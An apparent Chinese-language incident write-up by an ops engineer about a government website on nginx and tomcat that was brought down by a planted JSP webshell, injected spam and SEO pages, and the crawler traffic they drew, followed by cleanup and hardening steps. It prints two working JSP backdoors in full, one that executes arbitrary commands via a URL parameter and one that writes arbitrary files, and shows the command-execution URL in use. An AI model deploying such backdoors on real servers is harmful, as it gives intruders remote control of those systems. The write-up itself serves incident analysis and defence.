下午兩點(diǎn),剛剛睡醒,就接到了客戶打來(lái)的電話,說(shuō)他們的網(wǎng)站掛(這個(gè)用詞很不準(zhǔn)確,但是感覺(jué)到問(wèn)題的嚴(yán)重性)了,詢問(wèn)是怎么發(fā)生的,之前做了什么操作,客戶的回答是:什么都沒(méi)做,突然就不行了!對(duì)于這樣的回答,我早已習(xí)慣,因?yàn)橐霃目蛻裟抢锏玫接杏玫淖稍儯旧虾茈y,因?yàn)榭蛻舨皇菍I(yè)人士,所以只能根據(jù)客戶的描述,一步步去判斷問(wèn)題。
通過(guò)客戶給出的這個(gè)提示,問(wèn)題判斷方向有如下幾個(gè)方面:
帶著疑問(wèn),開(kāi)始了故障排查。
作為一個(gè)運(yùn)維老鳥(niǎo),我的一貫思路就是眼見(jiàn)為實(shí),既然客戶說(shuō)網(wǎng)站不能訪問(wèn)了,那我還需要自己測(cè)試一下,打開(kāi)瀏覽器,輸入域名,網(wǎng)站久久不能打開(kāi),直到超時(shí)??磥?lái)確實(shí)網(wǎng)站打不開(kāi)了。
接著,開(kāi)始登錄服務(wù)器把脈,客戶網(wǎng)站的架構(gòu)是nginx+tomcat,我首先通過(guò)ssh登錄到nginx服務(wù)器上,連接速度還是很快的,登錄上去后,先執(zhí)行下top命令,檢查下系統(tǒng)整體運(yùn)行狀態(tài),如下圖所示:
這是一個(gè)centos7.9的系統(tǒng),nginx服務(wù)器的硬件配置是32Gb內(nèi)存,2顆8核物理CPU,nginx通過(guò)負(fù)載均衡將動(dòng)態(tài)、靜態(tài)請(qǐng)求發(fā)送給后端的多個(gè)tomcat上,tomcat運(yùn)行在另外兩臺(tái)獨(dú)立的服務(wù)器上,硬件配置為2顆8核物理CPU,64GB內(nèi)存。
從圖中可以看出,服務(wù)器CPU資源有一定負(fù)載,但是不高,32GB的內(nèi)存資源還比較充足,cached了不少內(nèi)存,這部分都是可以使用的。另外16個(gè)nginx進(jìn)程每個(gè)平均占用CPU負(fù)載在30%-40%之間。整體來(lái)看,系統(tǒng)資源還是比較充足的,初步判斷,不是nginx服務(wù)器的問(wèn)題。
接著,繼續(xù)登錄到tomcat所在的服務(wù)器,仍然通過(guò)top命令查看系統(tǒng)整體資源狀態(tài),如下圖所示:
tomcat服務(wù)器也是一個(gè)centos7.9的系統(tǒng),系統(tǒng)整體負(fù)載偏高(最高14),64Gb的物理內(nèi)存,可用的僅剩下200M左右,雖然cached了48GB左右,另外可以看到有三個(gè)java進(jìn)程,每個(gè)進(jìn)程占用cpu資源都在100%以上,并且一直持續(xù)了幾個(gè)小時(shí),這里有些異常,最后,關(guān)注了一下,啟動(dòng)java進(jìn)程的是apsds這個(gè)普通用戶。
然后繼續(xù)查看,發(fā)現(xiàn)這三個(gè)java進(jìn)程,其實(shí)是啟動(dòng)了三個(gè)tomcat實(shí)例,每個(gè)tomcat實(shí)例都是一個(gè)獨(dú)立的服務(wù),接著,再去查看第二個(gè)tomcat物理服務(wù)器,發(fā)現(xiàn)跟現(xiàn)在這個(gè)無(wú)論是硬件配置、還是軟件部署環(huán)境,都完全一致,也就是兩臺(tái)tomcat啟動(dòng)了6個(gè)tomcat實(shí)例,通過(guò)前端的nginx做負(fù)載均衡整合,對(duì)外提供web服務(wù)。
通過(guò)簡(jiǎn)單的一遍服務(wù)器狀態(tài)過(guò)濾,發(fā)現(xiàn)可能出問(wèn)題的是tomcat服務(wù)器,于是將精力集中在tomcat服務(wù)器上,于是,重新登錄tomcat機(jī)器,查看tomcat訪問(wèn)日志,通過(guò)對(duì)日志的查看,發(fā)現(xiàn)了一些異常,因?yàn)橛泻芏嗖皇煜さ撵o態(tài)頁(yè)面被訪問(wèn),如下圖所示:
圖中966.html這個(gè)頁(yè)面感覺(jué)有問(wèn)題,因?yàn)榭蛻舻木W(wǎng)站靜態(tài)頁(yè)面是自動(dòng)生成的,生成的頁(yè)面后綴是.htm的,而不是html,這是其一,其二,通過(guò)查看966.html這個(gè)頁(yè)面的訪問(wèn)次數(shù),嚇了一大跳,一天的時(shí)間,300多萬(wàn)次訪問(wèn),這明顯不正常,因?yàn)榭蛻艟W(wǎng)站平時(shí)的訪問(wèn)量都在10萬(wàn)以內(nèi),根本不可能這么高。
接著,繼續(xù)查看訪問(wèn)日志,發(fā)現(xiàn)類似966.html的這種頁(yè)面訪問(wèn)非常多,每個(gè)頁(yè)面的訪問(wèn)量都很大,于是,就到/htm/966.html對(duì)應(yīng)的網(wǎng)站目錄下,一探究竟吧,進(jìn)入網(wǎng)站根目錄下的htm目錄,又發(fā)現(xiàn)了一些異常,如下圖所示:
這個(gè)目錄是網(wǎng)站生成的靜態(tài)頁(yè)面目錄,可以看到有基于htm的靜態(tài)頁(yè)面,這些頁(yè)面以gk開(kāi)頭,是客戶網(wǎng)站自動(dòng)生成的正常文件,另外還有很多以html結(jié)尾的靜態(tài)文件,這些文件不清楚是怎么來(lái)的,此外,還看到有個(gè)1.jsp的文件,這個(gè)就更詭異了,在靜態(tài)頁(yè)面目錄下,不可能放一個(gè)jsp文件啊,經(jīng)過(guò)與客戶的咨詢以及與研發(fā)的溝通,確認(rèn)這些以html結(jié)尾的靜態(tài)文件以及1.jsp文件都不是網(wǎng)站本身生成或使用的,那么重點(diǎn)來(lái)了,先來(lái)看看這些文件的內(nèi)容吧。
首先查看以html結(jié)尾的靜態(tài)文件內(nèi)容是什么吧,這里就以這個(gè)996.html文件為例,通過(guò)瀏覽器訪問(wèn)996.html文件,頓時(shí),傻眼了?。。≌?qǐng)看下圖:
百度,中獎(jiǎng)查詢?。?!,此時(shí)腦子的第一反應(yīng)是,網(wǎng)站被植入WebShell了,看來(lái)問(wèn)題非常嚴(yán)重。
接著,繼續(xù)打開(kāi)1.jsp這個(gè)文件,看看這個(gè)文件到底是什么鬼,此文件內(nèi)容如下:(代碼僅供學(xué)習(xí),請(qǐng)勿其它用途)
<%@page import='java.io.IOException'%><%@page import='java.io.InputStreamReader'%><%@page import='java.io.BufferedReader'%><%@ page language='java' import='java.util.*' pageEncoding='UTF-8'%><% String cmd = request.getParameter('cmd'); System.out.println(cmd); Process process = null; List<String> processList = new ArrayList<String>(); try { if (cmd!=null) { process = Runtime.getRuntime().exec(cmd); BufferedReader input = new BufferedReader(new InputStreamReader(process.getInputStream())); String line = ''; while ((line = input.readLine()) != null) { processList.add(line); } input.close(); } } catch (IOException e) { e.printStackTrace(); } String s = ''; for (String line : processList) { s += line + '\n'; } if (s.equals('')) { out.write('null'); }else { out.write(s); }%>
好嘛,稍懂程序的人都能看出,這是一個(gè)WebShell木 馬后門(mén),它能干啥,先來(lái)試試,就知道了,打開(kāi)瀏覽器,訪問(wèn):http://ip/htm/1.jsp?cmd=ls /,
如下圖所示:
這不是我的服務(wù)器根目錄嗎,然后將”cmd=“后面的字符替換成任意linux下可執(zhí)行的命令,都能正常執(zhí)行,這就是瀏覽器下的命令行?。。。?/p>
再執(zhí)行一個(gè)寫(xiě)操作看看,在瀏覽器訪問(wèn)如下地址:
[apsds@tomcatserver1 htm]$ pwd/usr/local/tomcat/webapps/ROOT/htm[apsds@tomcatserver1 htm]$ ll test.html -rw-r----- 1 apsds apsds 0 10月 16 10:57 test.html
看到了吧,成功寫(xiě)入。
不過(guò)還是比較幸運(yùn)的,因?yàn)閠omcat進(jìn)程是通過(guò)普通用戶apsds啟動(dòng)的,所以通過(guò)這個(gè)1.jsp只能在apsds用戶權(quán)限下進(jìn)行添加、刪除操作,如果tomcat是以root用戶啟動(dòng)的話,那問(wèn)題就更嚴(yán)重了,因?yàn)檫@個(gè)1.jsp可以對(duì)系統(tǒng)下任意文件或目錄進(jìn)行修改、刪除操作了,其實(shí)相當(dāng)于瀏覽器的root權(quán)限操作了。
到這里為止,好像問(wèn)題正在逐漸浮出水面。
但是,我們高興太早了,上個(gè)文件還沒(méi)完全搞清楚,新的問(wèn)題又來(lái)了,我們?cè)诓樵兛蛻艟W(wǎng)站搜索權(quán)重的時(shí)候,新的問(wèn)題出現(xiàn)了,如下圖所示:
這是在搜索引擎搜到的客戶網(wǎng)站內(nèi)容,很明顯,客戶網(wǎng)站被植入了非法內(nèi)容,然后被搜索引擎收錄了,點(diǎn)開(kāi)搜索出來(lái)的任意一個(gè)頁(yè)面,內(nèi)容如下:
經(jīng)過(guò)分析,可以發(fā)現(xiàn),這個(gè)頁(yè)面的部分內(nèi)容被替換了,替換的內(nèi)容都是一些網(wǎng)站的關(guān)鍵字,應(yīng)該是黑帽SEO的手段。
這里說(shuō)到了搜索引擎,突然意識(shí)到,此次的故障,是否跟搜索引擎有關(guān)系呢?
整理了一下思路,感覺(jué)應(yīng)該是這樣的:
1、網(wǎng)站應(yīng)該有程序漏洞,在互聯(lián)網(wǎng)被掃描到,然后注入了webshell。
2、駭客通過(guò)webshell植入了大量廣告、推銷網(wǎng)頁(yè)。
3、因?yàn)榫W(wǎng)站(gov網(wǎng)站)權(quán)重比較高,所以搜索引擎比較喜歡來(lái)訪
4、大量廣告、推銷網(wǎng)頁(yè)被搜索引擎抓取,導(dǎo)致網(wǎng)站訪問(wèn)量激增。
5、客戶的網(wǎng)站是nginx+多個(gè)tomcat實(shí)現(xiàn)的負(fù)載均衡,所有動(dòng)態(tài)、靜態(tài)頁(yè)面請(qǐng)求都交給tomcat來(lái)處理,當(dāng)出現(xiàn)大量靜態(tài)請(qǐng)求時(shí),可能會(huì)導(dǎo)致tomcat
無(wú)法響應(yīng)。因?yàn)閠omcat處理靜態(tài)請(qǐng)求性能很差。
帶著上面這個(gè)思路,繼續(xù)進(jìn)行排查,步驟如下:
1、排查網(wǎng)站上被注入的html頁(yè)面的數(shù)量
通過(guò)find查找、過(guò)濾,發(fā)現(xiàn)被植入的html頁(yè)面有兩類,分別是百度虛假中獎(jiǎng)廣告頁(yè)面和黑帽seo關(guān)鍵字植入頁(yè)面。
兩種類型的html頁(yè)面,總共有20w個(gè)左右,這個(gè)數(shù)量相當(dāng)驚人。
2、排查網(wǎng)站訪問(wèn)日志
通過(guò)對(duì)tomcat訪問(wèn)日志的統(tǒng)計(jì)和分析,發(fā)現(xiàn)每天對(duì)這些注入頁(yè)面的訪問(wèn)量超過(guò)500w次,并且?guī)缀跞渴峭ㄟ^(guò)搜索引擎過(guò)來(lái)的流量,做了個(gè)簡(jiǎn)單的過(guò)濾統(tǒng)計(jì),結(jié)果如下:
[root@tomcatserver1 logs]# cat access_log.txt|grep Baiduspider|wc -l 596650[root@tomcatserver1 logs]# cat access_log.txt|grep Googlebot|wc -l 540340[root@tomcatserver1 logs]# cat access_log.txt|grep 360Spider|wc -l 63040[root@tomcatserver1 logs]# cat access_log.txt|grep bingbot|wc -l 621670[root@tomcatserver1 logs]# cat access_log.txt|grep YisouSpider|wc -l 3800100[root@tomcatserver1 logs]# cat access_log.txt|grep Sogou|wc -l 533810
其中,Baiduspider表示百度蜘蛛、Googlebot表示谷歌蜘蛛、360Spider表示360蜘蛛、bingbot表示必應(yīng)蜘蛛、YisouSpider表示宜搜蜘蛛、Sogou表示搜狗蜘蛛,其中,YisouSpider過(guò)來(lái)抓取的量最大,正常來(lái)說(shuō),蜘蛛抓取不應(yīng)該這么頻繁啊,于是簡(jiǎn)單搜索了一下YisouSpider這個(gè)蜘蛛,如下圖所示:
看來(lái)是個(gè)流氓蜘蛛,網(wǎng)絡(luò)上對(duì)這個(gè)YisouSpider的蜘蛛罵聲一片。
3、查看nginx錯(cuò)誤日志
通過(guò)查看nginx錯(cuò)誤日志,發(fā)現(xiàn)有大量連接返回超時(shí)請(qǐng)求(502錯(cuò)誤),也就是說(shuō),nginx把請(qǐng)求交給tomcat后,tomcat遲遲不返回,導(dǎo)致返回超時(shí),出現(xiàn)502 bad gateway錯(cuò)誤。這個(gè)很明顯是tomcat無(wú)法響應(yīng)請(qǐng)求導(dǎo)致的。
那么就來(lái)看看tomcat服務(wù)器上的連接數(shù)情況:
[root@tomcatserver1 logs]# netstat -n | awk '/^tcp/ {++S[$NF]} END {for(a in S) print a, S[a]}'TIME_WAIT 125300CLOSE_WAIT 12FIN_WAIT1 197FIN_WAIT2 113ESTABLISHED 13036SYN_RECV 115CLOSING 14LAST_ACK 17
這里其實(shí)只需要關(guān)注三種狀態(tài)即可:ESTABLISHED表示正在通信,TIME_WAIT表示主動(dòng)關(guān)閉,正在等待遠(yuǎn)程套接字的關(guān)閉傳送,CLOSE_WAIT表示遠(yuǎn)程被動(dòng)關(guān)閉,正在等待關(guān)閉這個(gè)套接字。
從輸出可知,服務(wù)器上保持了大量TIME_WAIT狀態(tài)和ESTABLISHED狀態(tài),大量的TIME_WAIT,應(yīng)該是tomcat無(wú)法響應(yīng)請(qǐng)求,然后超時(shí),主動(dòng)關(guān)閉了連接,導(dǎo)致出現(xiàn)TIME_WAIT,種種跡象表明,tomcat無(wú)法處理這么大的連接請(qǐng)求,導(dǎo)致響應(yīng)緩慢,最終服務(wù)出現(xiàn)無(wú)響應(yīng)。
通過(guò)這三個(gè)方面的排查,基本驗(yàn)證了自己的思路,那么問(wèn)題也隨即找到了。
網(wǎng)站有漏洞,然后被注入webshell,繼而被上傳了大量廣告、推廣網(wǎng)頁(yè),導(dǎo)致搜索引擎瘋狂抓取,最終導(dǎo)致脆弱的tomcat不堪重負(fù),失去響應(yīng),這是此次故障發(fā)生的根本原因。
1、修復(fù)網(wǎng)站程序漏洞
要解決這個(gè)問(wèn)題,首選要做的是找到網(wǎng)站漏洞,研發(fā)介入后,通過(guò)代碼排查,發(fā)現(xiàn)了網(wǎng)站漏洞的原因,是因?yàn)榫W(wǎng)站后臺(tái)使用了一個(gè)輕量級(jí)的遠(yuǎn)程調(diào)用協(xié)議json-rpc來(lái)與服務(wù)器進(jìn)行數(shù)據(jù)交換通訊,但是此接口缺乏校驗(yàn)機(jī)制,導(dǎo)致駭客獲取了后臺(tái)登錄的賬號(hào)和密碼,然后在后臺(tái)上傳了一個(gè)webshell,進(jìn)而控制了操作系統(tǒng)。
研發(fā)在第一時(shí)間修復(fù)了這個(gè)漏洞,然后就是運(yùn)維的干活時(shí)間了。
我們首先在服務(wù)器上進(jìn)行了網(wǎng)頁(yè)掃描,主要掃描html為后綴的文件,然后全部刪除(因?yàn)槲覀兊木W(wǎng)頁(yè)都是以.htm結(jié)尾),同時(shí)刪除了那個(gè)1.jsp文件,并繼續(xù)查找和檢查其它可疑的jsp文件,檢查過(guò)程中又發(fā)現(xiàn)了一個(gè)jsp后門(mén),基本特征碼如下:(代碼僅供學(xué)習(xí))
<% if(request.getParameter('f')!=null)(new java.io.FileOutputStream(application.getRealPath('/')+request.getParameter('f'))).write(request.getParameter('t').getBytes()); %>
然后果斷刪除。不留后患。
2、禁封網(wǎng)絡(luò)蜘蛛
網(wǎng)絡(luò)上的蜘蛛、爬蟲(chóng)很多,有些是正規(guī)的,有些是流氓,適當(dāng)?shù)木W(wǎng)絡(luò)蜘蛛抓取對(duì)網(wǎng)站權(quán)重、流量有益,而那些流氓的蜘蛛必須要禁止,要實(shí)現(xiàn)禁封網(wǎng)絡(luò)蜘蛛,在nginx下可通過(guò)如下配置實(shí)現(xiàn):
server { listen 80; server_name 127.0.0.1; #添加如下內(nèi)容即可防止爬蟲(chóng)if ($http_user_agent ~* 'qihoobot|YisouSpider|Baiduspider|Googlebot|Googlebot-Mobile|Googlebot-Image|Mediapartners-Google|Adsbot-Google|Feedfetcher-Google|Yahoo! Slurp|Yahoo! Slurp China|YoudaoBot|Sosospider|Sogou spider|Sogou web spider|MSNBot|ia_archiver|Tomato Bot') { return 403; }
這樣,當(dāng)蜘蛛過(guò)來(lái)爬取你網(wǎng)站的時(shí)候,直接給他返回一個(gè)403錯(cuò)誤,這里禁止了很多網(wǎng)絡(luò)蜘蛛,如果你還需要蜘蛛的話,可保留幾個(gè)比較正規(guī)的,例如谷歌蜘蛛和百度蜘蛛即可,其實(shí)一律封掉。
上面這個(gè)辦法有點(diǎn)簡(jiǎn)單粗暴,但是最有效,其實(shí)還可以在網(wǎng)站更目錄下增加Robots.txt文件,在這個(gè)文件中我們可以聲明該網(wǎng)站中不想被robots訪問(wèn)的部分,或者指定搜索引擎只收錄指定的內(nèi)容。
robots.txt是搜索引擎中訪問(wèn)網(wǎng)站的時(shí)候要查看的第一個(gè)文件。robots.txt文件告訴蜘蛛程序在服務(wù)器上什么文件是可以被查看和抓取的,當(dāng)一個(gè)搜索蜘蛛訪問(wèn)一個(gè)站點(diǎn)時(shí),它會(huì)首先檢查該站點(diǎn)根目錄下是否存在robots.txt,如果存在,搜索蜘蛛就會(huì)按照該文件中的內(nèi)容來(lái)確定訪問(wèn)的范圍;如果該文件不存在,所有的搜索蜘蛛將能夠訪問(wèn)網(wǎng)站上所有沒(méi)有被口令保護(hù)的頁(yè)面。
Robots協(xié)議是國(guó)際互聯(lián)網(wǎng)界通行的道德規(guī)范,請(qǐng)注意,是道德標(biāo)準(zhǔn),因此,如果搜索引擎不遵守約定的Robots協(xié)議,那么通過(guò)在網(wǎng)站下增加robots.txt也是不起作用的。
目前的網(wǎng)絡(luò)蜘蛛大致分為4種:
(1)、真名真姓,遵循robots.txt協(xié)議。
(2)、真名真姓,不遵循robots.txt協(xié)議。
(3)、匿名,不遵循robots.txt協(xié)議。
(4)、偽裝:不遵循robots.txt協(xié)議。
目前看來(lái),絕大多數(shù)的搜索引擎機(jī)器人都遵守robots.txt規(guī)則的。但是一些不知名的網(wǎng)絡(luò)蜘蛛就會(huì)經(jīng)常耍流氓,對(duì)待這種蜘蛛,建議使用上面nginx下配置的規(guī)則,直接給它deny了。
下面看幾個(gè)robots.txt配置例子
(1)、允許所有的robot訪問(wèn)
User-agent: *Disallow:
(2)、禁止所有搜索引擎訪問(wèn)網(wǎng)站的任何部分
User-agent: *Disallow: /
(3)、禁止所有搜索引擎訪問(wèn)網(wǎng)站的幾個(gè)部分(下例中的a、b、c目錄)
User-agent: *Disallow: /a/Disallow: /b/Disallow: /c/
(4)、禁止某個(gè)搜索引擎的訪問(wèn)(下例中的YisouSpider)
User-agent: YisouSpiderDisallow: /
(5)、只允許某個(gè)搜索引擎的訪問(wèn)(下例中的Googlebot)
User-agent: GooglebotDisallow:User-agent: *Disallow: /
通過(guò)Robots.txt文件方法去現(xiàn)在搜索引擎,是一個(gè)防君子不防小人的方法,碰到流氓蜘蛛就沒(méi)轍了,有些無(wú)恥的搜索引擎根本不看網(wǎng)站的robots.txt,一路狂抓下去,實(shí)在另人發(fā)指。
3、調(diào)整網(wǎng)站的web架構(gòu)
因?yàn)閠omcat處理靜態(tài)資源能力很低,因此,可以將靜態(tài)資源交給nginx來(lái)處理,動(dòng)態(tài)資源交給tomcat處理,通過(guò)這種動(dòng)、靜分類方式,可以大大提高網(wǎng)站的抗壓性能。
我們采用的方式是將tomcat生成的htm文件放到一個(gè)共享磁盤(pán)分區(qū),然后在nginx服務(wù)器上通過(guò)nfs掛載這個(gè)磁盤(pán)分區(qū),這樣nginx就可以直接訪問(wèn)這些靜態(tài)文件。
通過(guò)上面三個(gè)步驟的操作,網(wǎng)站在半個(gè)小時(shí)內(nèi)負(fù)載下降,很快恢復(fù)正常了。
安全問(wèn)題不容忽略,這個(gè)案例是個(gè)典型的網(wǎng)站漏洞導(dǎo)致WebShell注入的例子,如何處理這類問(wèn)題的思路和流程,是本文要傳達(dá)給大家的核心知識(shí)。
聯(lián)系客服